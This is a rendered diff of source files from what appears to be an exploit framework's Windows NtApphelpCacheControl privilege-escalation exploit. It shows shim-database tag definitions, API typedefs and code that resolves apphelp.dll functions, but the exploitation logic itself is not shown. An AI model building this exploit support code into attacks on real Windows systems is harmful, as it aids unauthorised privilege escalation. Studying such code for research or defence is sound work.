#define TAG_FILE (0xC | TAG_TYPE_LIST) //File attribute used in a shim entry.
|
||||
#define TAG_APPHELP (0xD | TAG_TYPE_LIST) //Apphelp information entry.
|
||||
#define TAG_LINK (0xE | TAG_TYPE_LIST) //Apphelp online link information entry.
|
||||
#define TAG_DATA (0xF | TAG_TYPE_LIST) //Name-value mapping entry.
|
||||
#define TAG_MSI_TRANSFORM (0x10 | TAG_TYPE_LIST) //MSI transformation entry.
|
||||
#define TAG_MSI_TRANSFORM_REF (0x11 | TAG_TYPE_LIST) //MSI transformation definition entry.
|
||||
#define TAG_MSI_PACKAGE (0x12 | TAG_TYPE_LIST) //MSI package entry.
|
||||
#define TAG_FLAG (0x13 | TAG_TYPE_LIST) //Flag entry.
|
||||
#define TAG_MSI_CUSTOM_ACTION (0x14 | TAG_TYPE_LIST) //MSI custom action entry.
|
||||
#define TAG_FLAG_REF (0x15 | TAG_TYPE_LIST) //Flag definition entry.
|
||||
#define TAG_ACTION (0x16 | TAG_TYPE_LIST) //Unused.
|
||||
#define TAG_LOOKUP (0x17 | TAG_TYPE_LIST) //Lookup entry used for lookup in a driver database.
|
||||
#define TAG_STRINGTABLE (0x801 | TAG_TYPE_LIST) // String table entry.
|
||||
#define TAG_INDEXES (0x802 | TAG_TYPE_LIST) // Indexes entry that defines all the indexes in a shim database.
|
||||
#define TAG_INDEX (0x803 | TAG_TYPE_LIST) // Index entry that defines an index in a shim database.
|
||||
#define TAG_NAME (0x1 | TAG_TYPE_STRINGREF) //Name attribute.
|
||||
#define TAG_DESCRIPTION (0x2 | TAG_TYPE_STRINGREF) //Description entry.
|
||||
#define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF) //Module attribute.
|
||||
#define TAG_API (0x4 | TAG_TYPE_STRINGREF) //API entry.
|
||||
#define TAG_VENDOR (0x5 | TAG_TYPE_STRINGREF) //Vendor name attribute.
|
||||
#define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF) //Application name attribute that describes an application entry in a shim database.
|
||||
#define TAG_COMMAND_LINE (0x8 | TAG_TYPE_STRINGREF) //Command line attribute that is used when passing arguments to a shim, for example.
|
||||
#define TAG_COMPANY_NAME (0x9 | TAG_TYPE_STRINGREF) //Company name attribute.
|
||||
#define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF) //DLL file attribute for a shim entry.
|
||||
#define TAG_WILDCARD_NAME (0xB | TAG_TYPE_STRINGREF) //Wildcard name attribute for an executable entry with a wildcard as the file name.
|
||||
#define TAG_PRODUCT_NAME (0x10 | TAG_TYPE_STRINGREF) //Product name attribute.
|
||||
#define TAG_PRODUCT_VERSION (0x11 | TAG_TYPE_STRINGREF) //Product version attribute.
|
||||
#define TAG_FILE_DESCRIPTION (0x12 | TAG_TYPE_STRINGREF) //File description attribute.
|
||||
#define TAG_FILE_VERSION (0x13 | TAG_TYPE_STRINGREF) //File version attribute.
|
||||
#define TAG_ORIGINAL_FILENAME (0x14 | TAG_TYPE_STRINGREF) //Original file name attribute.
|
||||
#define TAG_INTERNAL_NAME (0x15 | TAG_TYPE_STRINGREF) //Internal file name attribute.
|
||||
#define TAG_LEGAL_COPYRIGHT (0x16 | TAG_TYPE_STRINGREF) //Copyright attribute.
|
||||
#define TAG_16BIT_DESCRIPTION (0x17 | TAG_TYPE_STRINGREF) //16-bit description attribute.
|
||||
#define TAG_APPHELP_DETAILS (0x18 | TAG_TYPE_STRINGREF) //Apphelp details message information attribute.
|
||||
#define TAG_LINK_URL (0x19 | TAG_TYPE_STRINGREF) //Apphelp online link URL attribute.
|
||||
#define TAG_LINK_TEXT (0x1A | TAG_TYPE_STRINGREF) //Apphelp online link text attribute.
|
||||
#define TAG_APPHELP_TITLE (0x1B | TAG_TYPE_STRINGREF) //Apphelp title attribute.
|
||||
#define TAG_APPHELP_CONTACT (0x1C | TAG_TYPE_STRINGREF) //Apphelp vendor contact attribute.
|
||||
#define TAG_SXS_MANIFEST (0x1D | TAG_TYPE_STRINGREF) //Side-by-side manifest entry.
|
||||
#define TAG_DATA_STRING (0x1E | TAG_TYPE_STRINGREF) //String attribute for a data entry.
|
||||
#define TAG_MSI_TRANSFORM_FILE (0x1F | TAG_TYPE_STRINGREF) //File name attribute of an MSI transformation entry.
|
||||
#define TAG_16BIT_MODULE_NAME (0x20 | TAG_TYPE_STRINGREF) //16-bit module name attribute.
|
||||
#define TAG_LAYER_DISPLAYNAME (0x21 | TAG_TYPE_STRINGREF) //Unused.
|
||||
#define TAG_COMPILER_VERSION (0x22 | TAG_TYPE_STRINGREF) //Shim database compiler version.
|
||||
#define TAG_ACTION_TYPE (0x23 | TAG_TYPE_STRINGREF) //Unused.
|
||||
#define TAG_EXPORT_NAME (0x24 | TAG_TYPE_STRINGREF) //Export file name attribute.
|
||||
#define TAG_SIZE (0x1 | TAG_TYPE_DWORD) //File size attribute.
|
||||
#define TAG_OFFSET (0x2 | TAG_TYPE_DWORD) //Unused.
|
||||
#define TAG_CHECKSUM (0x3 | TAG_TYPE_DWORD) //File checksum attribute.
|
||||
#define TAG_SHIM_TAGID (0x4 | TAG_TYPE_DWORD) //Shim TAGID attribute.
|
||||
#define TAG_PATCH_TAGID (0x5 | TAG_TYPE_DWORD) //Patch TAGID attribute.
|
||||
#define TAG_MODULE_TYPE (0x6 | TAG_TYPE_DWORD) //Module type attribute.
|
||||
#define TAG_VERDATEHI (0x7 | TAG_TYPE_DWORD) //High-order portion of the file version date attribute.
|
||||
#define TAG_VERDATELO (0x8 | TAG_TYPE_DWORD) //Low-order portion of the file version date attribute.
|
||||
#define TAG_VERFILEOS (0x9 | TAG_TYPE_DWORD) //Operating system file version attribute.
|
||||
#define TAG_VERFILETYPE (0xA | TAG_TYPE_DWORD) //File type attribute.
|
||||
#define TAG_PE_CHECKSUM (0xB | TAG_TYPE_DWORD) //PE file checksum attribute.
|
||||
#define TAG_PREVOSMAJORVER (0xC | TAG_TYPE_DWORD) //Major operating system version attribute.
|
||||
#define TAG_PREVOSMINORVER (0xD | TAG_TYPE_DWORD) //Minor operating system version attribute.
|
||||
#define TAG_PREVOSPLATFORMID (0xE | TAG_TYPE_DWORD) //Operating system platform identifier attribute.
|
||||
#define TAG_PREVOSBUILDNO (0xF | TAG_TYPE_DWORD) //Operating system build number attribute.
|
||||
#define TAG_PROBLEMSEVERITY (0x10 | TAG_TYPE_DWORD) //Block attribute of an Apphelp entry. This determines whether the application is hard or soft blocked.
|
||||
#define TAG_LANGID (0x11 | TAG_TYPE_DWORD) //Language identifier of an Apphelp entry.
|
||||
#define TAG_VER_LANGUAGE (0x12 | TAG_TYPE_DWORD) //Language version attribute of a file.
|
||||
#define TAG_ENGINE (0x14 | TAG_TYPE_DWORD) //Unused.
|
||||
#define TAG_HTMLHELPID (0x15 | TAG_TYPE_DWORD) //Help identifier attribute for an Apphelp entry.
|
||||
#define TAG_INDEX_FLAGS (0x16 | TAG_TYPE_DWORD) //Flags attribute for an index entry.
|
||||
#define TAG_FLAGS (0x17 | TAG_TYPE_DWORD) //Flags attribute for an Apphelp entry.
|
||||
#define TAG_DATA_VALUETYPE (0x18 | TAG_TYPE_DWORD) //Data type attribute for a data entry.
|
||||
#define TAG_DATA_DWORD (0x19 | TAG_TYPE_DWORD) //DWORD value attribute for a data entry.
|
||||
#define TAG_LAYER_TAGID (0x1A | TAG_TYPE_DWORD) //Layer shim TAGID attribute.
|
||||
#define TAG_MSI_TRANSFORM_TAGID (0x1B | TAG_TYPE_DWORD) //MSI transform TAGID attribute.
|
||||
#define TAG_LINKER_VERSION (0x1C | TAG_TYPE_DWORD) //Linker version attribute of a file.
|
||||
#define TAG_LINK_DATE (0x1D | TAG_TYPE_DWORD) //Link date attribute of a file.
|
||||
#define TAG_UPTO_LINK_DATE (0x1E | TAG_TYPE_DWORD) //Link date attribute of a file. Matching is done up to and including this link date.
|
||||
#define TAG_OS_SERVICE_PACK (0x1F | TAG_TYPE_DWORD) //Operating system service pack attribute for an executable entry.
|
||||
#define TAG_FLAG_TAGID (0x20 | TAG_TYPE_DWORD) //Flags TAGID attribute.
|
||||
#define TAG_RUNTIME_PLATFORM (0x21 | TAG_TYPE_DWORD) //Run-time platform attribute of a file.
|
||||
#define TAG_OS_SKU (0x22 | TAG_TYPE_DWORD) //Operating system SKU attribute for an executable entry.
|
||||
#define TAG_OS_PLATFORM (0x23 | TAG_TYPE_DWORD) //Operating system platform attribute.
|
||||
#define TAG_APP_NAME_RC_ID (0x24 | TAG_TYPE_DWORD) //Application name resource identifier attribute for Apphelp entries.
|
||||
#define TAG_VENDOR_NAME_RC_ID (0x25 | TAG_TYPE_DWORD) //Vendor name resource identifier attribute for Apphelp entries.
|
||||
#define TAG_SUMMARY_MSG_RC_ID (0x26 | TAG_TYPE_DWORD) //Summary message resource identifier attribute for Apphelp entries.
|
||||
#define TAG_VISTA_SKU (0x27 | TAG_TYPE_DWORD) //Windows Vista SKU attribute.
|
||||
#define TAG_DESCRIPTION_RC_ID (0x28 | TAG_TYPE_DWORD) //Description resource identifier attribute for Apphelp entries.
|
||||
#define TAG_PARAMETER1_RC_ID (0x29 | TAG_TYPE_DWORD) //Parameter1 resource identifier attribute for Apphelp entries.
|
||||
#define TAG_TAGID (0x801 | TAG_TYPE_DWORD) //TAGID attribute.
|
||||
#define TAG_STRINGTABLE_ITEM (0x801 | TAG_TYPE_STRING) //String table item entry.
|
||||
#define TAG_INCLUDE (0x1 | TAG_TYPE_NULL) //Include list entry.
|
||||
#define TAG_GENERAL (0x2 | TAG_TYPE_NULL) //General purpose shim entry.
|
||||
#define TAG_MATCH_LOGIC_NOT (0x3 | TAG_TYPE_NULL) //NOT of matching logic entry.
|
||||
#define TAG_APPLY_ALL_SHIMS (0x4 | TAG_TYPE_NULL) //Unused.
|
||||
#define TAG_USE_SERVICE_PACK_FILES (0x5 | TAG_TYPE_NULL) //Service pack information for Apphelp entries.
|
||||
#define TAG_MITIGATION_OS (0x6 | TAG_TYPE_NULL) //Mitigation at operating system scope entry.
|
||||
#define TAG_BLOCK_UPGRADE (0x7 | TAG_TYPE_NULL) //Upgrade block entry.
|
||||
#define TAG_INCLUDEEXCLUDEDLL (0x8 | TAG_TYPE_NULL) //DLL include/exclude entry.
|
||||
#define TAG_TIME (0x1 | TAG_TYPE_QWORD) //Time attribute.
|
||||
#define TAG_BIN_FILE_VERSION (0x2 | TAG_TYPE_QWORD) //Bin file version attribute for file entries.
|
||||
#define TAG_BIN_PRODUCT_VERSION (0x3 | TAG_TYPE_QWORD) //Bin product version attribute for file entries.
|
||||
#define TAG_MODTIME (0x4 | TAG_TYPE_QWORD) //Unused.
|
||||
#define TAG_FLAG_MASK_KERNEL (0x5 | TAG_TYPE_QWORD) //Kernel flag mask attribute.
|
||||
#define TAG_UPTO_BIN_PRODUCT_VERSION (0x6 | TAG_TYPE_QWORD) //Bin product version attribute of a file. Matching is done up to and including this product version.
|
||||
#define TAG_DATA_QWORD (0x7 | TAG_TYPE_QWORD) //ULONGLONG value attribute for a data entry.
|
||||
#define TAG_FLAG_MASK_USER (0x8 | TAG_TYPE_QWORD) //User flag mask attribute.
|
||||
#define TAG_FLAGS_NTVDM1 (0x9 | TAG_TYPE_QWORD) //NTVDM1 flag mask attribute.
|
||||
#define TAG_FLAGS_NTVDM2 (0xA | TAG_TYPE_QWORD) //NTVDM2 flag mask attribute.
|
||||
#define TAG_FLAGS_NTVDM3 (0xB | TAG_TYPE_QWORD) //NTVDM3 flag mask attribute.
|
||||
#define TAG_FLAG_MASK_SHELL (0xC | TAG_TYPE_QWORD) //Shell flag mask attribute.
|
||||
#define TAG_UPTO_BIN_FILE_VERSION (0xD | TAG_TYPE_QWORD) //Bin file version attribute of a file. Matching is done up to and including this file version.
|
||||
#define TAG_FLAG_MASK_FUSION (0xE | TAG_TYPE_QWORD) //Fusion flag mask attribute.
|
||||
#define TAG_FLAG_PROCESSPARAM (0xF | TAG_TYPE_QWORD) //Process param flag attribute.
|
||||
#define TAG_FLAG_LUA (0x10 | TAG_TYPE_QWORD) //LUA flag attribute.
|
||||
#define TAG_FLAG_INSTALL (0x11 | TAG_TYPE_QWORD) //Install flag attribute.
|
||||
#define TAG_PATCH_BITS (0x2 | TAG_TYPE_BINARY) //Patch file bits attribute.
|
||||
#define TAG_FILE_BITS (0x3 | TAG_TYPE_BINARY) //File bits attribute.
|
||||
#define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY) //GUID attribute of an executable entry.
|
||||
#define TAG_DATA_BITS (0x5 | TAG_TYPE_BINARY) //Data bits attribute.
|
||||
#define TAG_MSI_PACKAGE_ID (0x6 | TAG_TYPE_BINARY) //MSI package identifier attribute of an MSI package.
|
||||
#define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY) //GUID attribute of a database.
|
||||
#define TAG_INDEX_BITS (0x801 | TAG_TYPE_BINARY) //Index bits attribute.
|
||||
|
||||
#define TAG_APP_ID (0x11 | TAG_TYPE_BINARY) // App id guid?
|
||||
#define TAG_FIX_ID (0x10 | TAG_TYPE_BINARY) // undocumented
|
||||
|
||||
#define TAG_MATCH_MODE (0x1 | TAG_TYPE_WORD) //Match mode attribute.
|
||||
#define TAG_TAG (0x801 | TAG_TYPE_WORD) //TAG entry.
|
||||
#define TAG_INDEX_TAG (0x802 | TAG_TYPE_WORD) //Index TAG attribute for an index entry.
|
||||
#define TAG_INDEX_KEY (0x803 | TAG_TYPE_WORD) //Index key attribute for an index entry.
|
||||
|
||||
typedef struct tagAPPHELP_DATA {
|
||||
DWORD dwFlags;
|
||||
DWORD dwSeverity;
|
||||
DWORD dwHTMLHelpID;
|
||||
LPTSTR szAppName;
|
||||
TAGREF trExe;
|
||||
LPTSTR szURL;
|
||||
LPTSTR szLink;
|
||||
LPTSTR szAppTitle;
|
||||
LPTSTR szContact;
|
||||
LPTSTR szDetails;
|
||||
DWORD dwData;
|
||||
BOOL bSPEntry;
|
||||
} APPHELP_DATA, *PAPPHELP_DATA;
|
||||
|
||||
typedef struct tagATTRINFO {
|
||||
TAG tAttrID;
|
||||
DWORD dwFlags;
|
||||
union {
|
||||
ULONGLONG ullAttr;
|
||||
DWORD dwAttr;
|
||||
TCHAR *lpAttr;
|
||||
};
|
||||
} ATTRINFO, *PATTRINFO;
|
||||
|
||||
typedef struct _FIND_INFO {
|
||||
TAGID tiIndex;
|
||||
TAGID tiCurrent;
|
||||
TAGID tiEndIndex;
|
||||
TAG tName;
|
||||
DWORD dwIndexRec;
|
||||
DWORD dwFlags;
|
||||
ULONGLONG ullKey;
|
||||
union {
|
||||
LPCTSTR szName;
|
||||
DWORD dwName;
|
||||
GUID *pguidName;
|
||||
};
|
||||
} FIND_INFO, *PFIND_INFO;
|
||||
|
||||
typedef DWORD INDEXID;
|
||||
|
||||
typedef enum _PATH_TYPE {
|
||||
DOS_PATH,
|
||||
NT_PATH
|
||||
} PATH_TYPE;
|
||||
|
||||
typedef struct tagSDBQUERYRESULT {
|
||||
TAGREF atrExes[SDB_MAX_EXES];
|
||||
DWORD adwExeFlags[SDB_MAX_EXES];
|
||||
TAGREF atrLayers[SDB_MAX_LAYERS];
|
||||
DWORD dwLayerFlags;
|
||||
TAGREF trApphelp;
|
||||
DWORD dwExeCount;
|
||||
DWORD dwLayerCount;
|
||||
GUID guidID;
|
||||
DWORD dwFlags;
|
||||
DWORD dwCustomSDBMap;
|
||||
GUID rgGuidDB[SDB_MAX_SDBS];
|
||||
} SDBQUERYRESULT, *PSDBQUERYRESULT;
|
||||
|
||||
|
||||
#define PATCH_MATCH 0x4
|
||||
#define PATCH_REPLACE 0x2
|
||||
#define MAX_MODULE 32
|
||||
typedef struct _PATCHBITS
|
||||
{
|
||||
DWORD opcode;
|
||||
DWORD actionSize;
|
||||
DWORD patternSize;
|
||||
DWORD rva;
|
||||
DWORD unknown;
|
||||
WCHAR moduleName[MAX_MODULE];
|
||||
BYTE pattern[1];
|
||||
} PATCHBITS, *PPATCHBITS;
|
||||
|
||||
//functions
|
||||
typedef BOOL(WINAPI *BaseFlushAppcompatCache)(void);
|
||||
typedef TAGID(WINAPI *SdbBeginWriteListTag)(PDB pdb, TAG tTag);
|
||||
typedef void (WINAPI *SdbCloseDatabase)(PDB pdb);
|
||||
typedef void (WINAPI *SdbCloseDatabaseWrite)(PDB pdb);
|
||||
typedef BOOL(WINAPI *SdbCommitIndexes)(PDB pdb);
|
||||
typedef PDB(WINAPI *SdbCreateDatabase)(LPCWSTR pwszPath, PATH_TYPE eType);
|
||||
typedef BOOL(WINAPI *SdbDeclareIndex)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwEntries, BOOL bUniqueKey, INDEXID *piiIndex);
|
||||
typedef BOOL(WINAPI *SdbEndWriteListTag)(PDB pdb, TAGID tiList);
|
||||
typedef TAGID(WINAPI *SdbFindFirstDWORDIndexedTag)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwName, FIND_INFO *pFindInfo);
|
||||
typedef TAGID(WINAPI *SdbFindFirstTag)(PDB pdb, TAGID tiParent, TAG tTag);
|
||||
typedef TAGID(WINAPI *SdbFindNextTag)(PDB pdb, TAGID tiParent, TAGID tiPrev);
|
||||
typedef BOOL(WINAPI *SdbFormatAttribute)(PATTRINFO pAttrInfo, LPTSTR pchBuffer, DWORD dwBufferSize);
|
||||
typedef BOOL(WINAPI *SdbFreeFileAttributes)(PATTRINFO pFileAttributes);
|
||||
typedef void (WINAPI *SdbGetAppPatchDir)(HSDB hSDB, LPTSTR szAppPatchPath, DWORD cchSize);
|
||||
typedef PVOID(WINAPI *SdbGetBinaryTagData)(PDB pdb, TAGID tiWhich);
|
||||
typedef BOOL(WINAPI *SdbGetFileAttributes)(LPCTSTR lpwszFileName, PATTRINFO *ppAttrInfo, LPDWORD lpdwAttrCount);
|
||||
typedef TAGID(WINAPI *SdbGetFirstChild)(PDB pdb, TAGID tiParent);
|
||||
typedef TAGID(WINAPI *SdbGetIndex)(PDB pdb, TAG tWhich, TAG tKey, LPDWORD lpdwFlags);
|
||||
typedef BOOL(WINAPI *SdbGetMatchingExe)(HSDB hSDB, LPCTSTR szPath, LPCTSTR szModuleName, LPCTSTR pszEnvironment, DWORD dwFlags, PSDBQUERYRESULT pQueryResult);
|
||||
typedef TAGID(WINAPI *SdbGetNextChild)(PDB pdb, TAGID tiParent, TAGID tiPrev);
|
||||
typedef LPTSTR(WINAPI *SdbGetStringTagPtr)(PDB pdb, TAGID tiWhich);
|
||||
typedef TAG(WINAPI *SdbGetTagFromTagID)(PDB pdb, TAGID tiWhich);
|
||||
typedef HSDB(WINAPI *SdbInitDatabase)(DWORD dwFlags, LPCTSTR pszDatabasePath);
|
||||
typedef BOOL(WINAPI *SdbIsStandardDatabase)(GUID GuidDB);
|
||||
typedef ULONGLONG(WINAPI *SdbMakeIndexKeyFromString)(LPCTSTR pwszKey);
|
||||
typedef PDB(WINAPI *SdbOpenApphelpDetailsDatabase)(LPCWSTR pwsDetailsDatabasePath);
|
||||
typedef HMODULE(WINAPI *SdbOpenApphelpResourceFile)(LPCWSTR pwszACResourceFile);
|
||||
typedef PDB(WINAPI *SdbOpenDatabase)(LPCTSTR pwszPath, PATH_TYPE eType);
|
||||
typedef DWORD(WINAPI *SdbQueryDataExTagID)(PDB pdb, TAGID tiExe, LPCTSTR lpszDataName, LPDWORD lpdwDataType, LPVOID lpBuffer, LPDWORD lpcbBufferSize, TAGID *ptiData);
|
||||
typedef BOOL(WINAPI *SdbReadApphelpDetailsData)(PDB pdb, PAPPHELP_DATA pData);
|
||||
typedef BOOL(WINAPI *SdbReadBinaryTag)(PDB pdb, TAGID tiWhich, PBYTE pBuffer, DWORD dwBufferSize);
|
||||
typedef DWORD(WINAPI *SdbReadDWORDTag)(PDB pdb, TAGID tiWhich, DWORD dwDefault);
|
||||
typedef DWORD(WINAPI *SdbReadWORDTag)(PDB pdb, TAGID tiWhich, WORD dwDefault);
|
||||
typedef ULONGLONG(WINAPI *SdbReadQWORDTag)(PDB pdb, TAGID tiWhich, ULONGLONG qwDefault);
|
||||
typedef BOOL(WINAPI *SdbReadStringTag)(PDB pdb, TAGID tiWhich, LPTSTR pwszBuffer, DWORD cchBufferSize);
|
||||
typedef BOOL(WINAPI *SdbRegisterDatabaseEx)(LPCTSTR pszDatabasePath, DWORD dwDatabaseType, PULONGLONG pTimeStamp);
|
||||
typedef void (WINAPI *SdbReleaseDatabase)(HSDB hSDB);
|
||||
typedef void (WINAPI *SdbReleaseMatchingExe)(HSDB hSDB, TAGREF trExe);
|
||||
typedef BOOL(WINAPI *SdbStartIndexing)(PDB pdb, INDEXID iiWhich);
|
||||
typedef BOOL(WINAPI *SdbStopIndexing)(PDB pdb, INDEXID iiWhich);
|
||||
typedef BOOL(WINAPI *SdbTagRefToTagID)(HSDB hSDB, TAGREF trWhich, PDB *ppdb, TAGID *ptiWhich);
|
||||
typedef LPCTSTR(WINAPI *SdbTagToString)(TAG tag);
|
||||
typedef BOOL(WINAPI *SdbUnregisterDatabase)(GUID *pguidDB);
|
||||
typedef BOOL(WINAPI *SdbWriteBinaryTag)(PDB pdb, TAG tTag, PBYTE pBuffer, DWORD dwSize);
|
||||
typedef BOOL(WINAPI *SdbWriteBinaryTagFromFile)(PDB pdb, TAG tTag, LPCWSTR pwszPath);
|
||||
typedef BOOL(WINAPI *SdbWriteDWORDTag)(PDB pdb, TAG tTag, DWORD dwData);
|
||||
typedef BOOL(WINAPI *SdbWriteNULLTag)(PDB pdb, TAG tTag);
|
||||
typedef BOOL(WINAPI *SdbWriteQWORDTag)(PDB pdb, TAG tTag, ULONGLONG qwData);
|
||||
typedef BOOL(WINAPI *SdbWriteStringTag)(PDB pdb, TAG tTag, LPCWSTR pwszData);
|
||||
typedef BOOL(WINAPI *SdbWriteWORDTag)(PDB pdb, TAG tTag, WORD wData);
|
||||
typedef BOOL(WINAPI *ShimFlushCache)(HWND hwnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, int nCmdShow);
|
||||
typedef BOOL(WINAPI *SdbGetTagDataSize)(PDB pdb, TAG tTag);
|
||||
typedef DWORD(WINAPI* SdbGetShowDebugInfoOption)();
|
||||
|
||||
|
||||
|
||||
|
190
external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp
vendored
Executable file
190
external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp
vendored
Executable file
|
@ -0,0 +1,190 @@
|
|||
#include "stdafx.h"
|
||||
#include "sdb.h"
|
||||
|
||||
BaseFlushAppcompatCache BaseFlushAppcompatCachePtr = NULL;
|
||||
SdbBeginWriteListTag SdbBeginWriteListTagPtr = NULL;
|
||||
SdbCloseDatabase SdbCloseDatabasePtr = NULL;
|
||||
SdbCloseDatabaseWrite SdbCloseDatabaseWritePtr = NULL;
|
||||
SdbCommitIndexes SdbCommitIndexesPtr = NULL;
|
||||
SdbCreateDatabase SdbCreateDatabasePtr = NULL;
|
||||
SdbDeclareIndex SdbDeclareIndexPtr = NULL;
|
||||
SdbEndWriteListTag SdbEndWriteListTagPtr = NULL;
|
||||
SdbFindFirstDWORDIndexedTag SdbFindFirstDWORDIndexedTagPtr = NULL;
|
||||
SdbFindFirstTag SdbFindFirstTagPtr = NULL;
|
||||
SdbFindNextTag SdbFindNextTagPtr = NULL;
|
||||
SdbFormatAttribute SdbFormatAttributePtr = NULL;
|
||||
SdbFreeFileAttributes SdbFreeFileAttributesPtr = NULL;
|
||||
SdbGetAppPatchDir SdbGetAppPatchDirPtr = NULL;
|
||||
SdbGetBinaryTagData SdbGetBinaryTagDataPtr = NULL;
|
||||
SdbGetFileAttributes SdbGetFileAttributesPtr = NULL;
|
||||
SdbGetFirstChild SdbGetFirstChildPtr = NULL;
|
||||
SdbGetIndex SdbGetIndexPtr = NULL;
|
||||
SdbGetMatchingExe SdbGetMatchingExePtr = NULL;
|
||||
SdbGetNextChild SdbGetNextChildPtr = NULL;
|
||||
SdbGetStringTagPtr SdbGetStringTagPtrPtr = NULL;
|
||||
SdbGetTagFromTagID SdbGetTagFromTagIDPtr = NULL;
|
||||
SdbInitDatabase SdbInitDatabasePtr = NULL;
|
||||
SdbIsStandardDatabase SdbIsStandardDatabasePtr = NULL;
|
||||
SdbMakeIndexKeyFromString SdbMakeIndexKeyFromStringPtr = NULL;
|
||||
SdbOpenApphelpDetailsDatabase SdbOpenApphelpDetailsDatabasePtr = NULL;
|
||||
SdbOpenApphelpResourceFile SdbOpenApphelpResourceFilePtr = NULL;
|
||||
SdbOpenDatabase SdbOpenDatabasePtr = NULL;
|
||||
SdbQueryDataExTagID SdbQueryDataExTagIDPtr = NULL;
|
||||
SdbReadApphelpDetailsData SdbReadApphelpDetailsDataPtr = NULL;
|
||||
SdbReadBinaryTag SdbReadBinaryTagPtr = NULL;
|
||||
SdbReadDWORDTag SdbReadDWORDTagPtr = NULL;
|
||||
SdbReadWORDTag SdbReadWORDTagPtr = NULL;
|
||||
SdbReadQWORDTag SdbReadQWORDTagPtr = NULL;
|
||||
SdbReadStringTag SdbReadStringTagPtr = NULL;
|
||||
SdbRegisterDatabaseEx SdbRegisterDatabaseExPtr = NULL;
|
||||
SdbReleaseDatabase SdbReleaseDatabasePtr = NULL;
|
||||
SdbReleaseMatchingExe SdbReleaseMatchingExePtr = NULL;
|
||||
SdbStartIndexing SdbStartIndexingPtr = NULL;
|
||||
SdbStopIndexing SdbStopIndexingPtr = NULL;
|
||||
SdbTagRefToTagID SdbTagRefToTagIDPtr = NULL;
|
||||
SdbTagToString SdbTagToStringPtr = NULL;
|
||||
SdbUnregisterDatabase SdbUnregisterDatabasePtr = NULL;
|
||||
SdbWriteBinaryTag SdbWriteBinaryTagPtr = NULL;
|
||||
SdbWriteBinaryTagFromFile SdbWriteBinaryTagFromFilePtr = NULL;
|
||||
SdbWriteDWORDTag SdbWriteDWORDTagPtr = NULL;
|
||||
SdbWriteNULLTag SdbWriteNULLTagPtr = NULL;
|
||||
SdbWriteQWORDTag SdbWriteQWORDTagPtr = NULL;
|
||||
SdbWriteStringTag SdbWriteStringTagPtr = NULL;
|
||||
SdbWriteWORDTag SdbWriteWORDTagPtr = NULL;
|
||||
ShimFlushCache ShimFlushCachePtr = NULL;
|
||||
SdbGetTagDataSize SdbGetTagDataSizePtr = NULL;
|
||||
SdbGetShowDebugInfoOption SdbGetShowDebugInfoOptionPtr = NULL;
|
||||
|
||||
BOOL resolveSdbFunctions()
|
||||
{
|
||||
HMODULE apphelpdll;
|
||||
HMODULE kernel32dll;
|
||||
apphelpdll = LoadLibraryA("apphelp.dll");
|
||||
if (!apphelpdll)
|
||||
{
|
||||
fprintf(stderr, "Failed to load apphelp\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
kernel32dll = LoadLibraryA("kernel32.dll");
|
||||
if (!kernel32dll)
|
||||
{
|
||||
fprintf(stderr, "Failed to load kernel32\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
BaseFlushAppcompatCachePtr = (BaseFlushAppcompatCache)GetProcAddress(kernel32dll, "BaseFlushAppcompatCache");
|
||||
SdbBeginWriteListTagPtr = (SdbBeginWriteListTag)GetProcAddress(apphelpdll, "SdbBeginWriteListTag");
|
||||
SdbCloseDatabasePtr = (SdbCloseDatabase)GetProcAddress(apphelpdll, "SdbCloseDatabase");
|
||||
SdbCloseDatabaseWritePtr = (SdbCloseDatabaseWrite)GetProcAddress(apphelpdll, "SdbCloseDatabaseWrite");
|
||||
SdbCommitIndexesPtr = (SdbCommitIndexes)GetProcAddress(apphelpdll, "SdbCommitIndexes");
|
||||
SdbCreateDatabasePtr = (SdbCreateDatabase)GetProcAddress(apphelpdll, "SdbCreateDatabase");
|
||||
SdbDeclareIndexPtr = (SdbDeclareIndex)GetProcAddress(apphelpdll, "SdbDeclareIndex");
|
||||
SdbEndWriteListTagPtr = (SdbEndWriteListTag)GetProcAddress(apphelpdll, "SdbEndWriteListTag");
|
||||
SdbFindFirstDWORDIndexedTagPtr = (SdbFindFirstDWORDIndexedTag)GetProcAddress(apphelpdll, "SdbFindFirstDWORDIndexedTag");
|
||||
SdbFindFirstTagPtr = (SdbFindFirstTag)GetProcAddress(apphelpdll, "SdbFindFirstTag");
|
||||
SdbFindNextTagPtr = (SdbFindNextTag)GetProcAddress(apphelpdll, "SdbFindNextTag");
|
||||
SdbFormatAttributePtr = (SdbFormatAttribute)GetProcAddress(apphelpdll, "SdbFormatAttribute");
|
||||
SdbFreeFileAttributesPtr = (SdbFreeFileAttributes)GetProcAddress(apphelpdll, "SdbFreeFileAttributes");
|
||||
SdbGetAppPatchDirPtr = (SdbGetAppPatchDir)GetProcAddress(apphelpdll, "SdbGetAppPatchDir");
|
||||
SdbGetBinaryTagDataPtr = (SdbGetBinaryTagData)GetProcAddress(apphelpdll, "SdbGetBinaryTagData");
|
||||
SdbGetFileAttributesPtr = (SdbGetFileAttributes)GetProcAddress(apphelpdll, "SdbGetFileAttributes");
|
||||
SdbGetFirstChildPtr = (SdbGetFirstChild)GetProcAddress(apphelpdll, "SdbGetFirstChild");
|
||||
SdbGetIndexPtr = (SdbGetIndex)GetProcAddress(apphelpdll, "SdbGetIndex");
|
||||
SdbGetMatchingExePtr = (SdbGetMatchingExe)GetProcAddress(apphelpdll, "SdbGetMatchingExe");
|
||||
SdbGetNextChildPtr = (SdbGetNextChild)GetProcAddress(apphelpdll, "SdbGetNextChild");
|
||||
SdbGetStringTagPtrPtr = (SdbGetStringTagPtr)GetProcAddress(apphelpdll, "SdbGetStringTagPtr");
|
||||
SdbGetTagFromTagIDPtr = (SdbGetTagFromTagID)GetProcAddress(apphelpdll, "SdbGetTagFromTagID");
|
||||
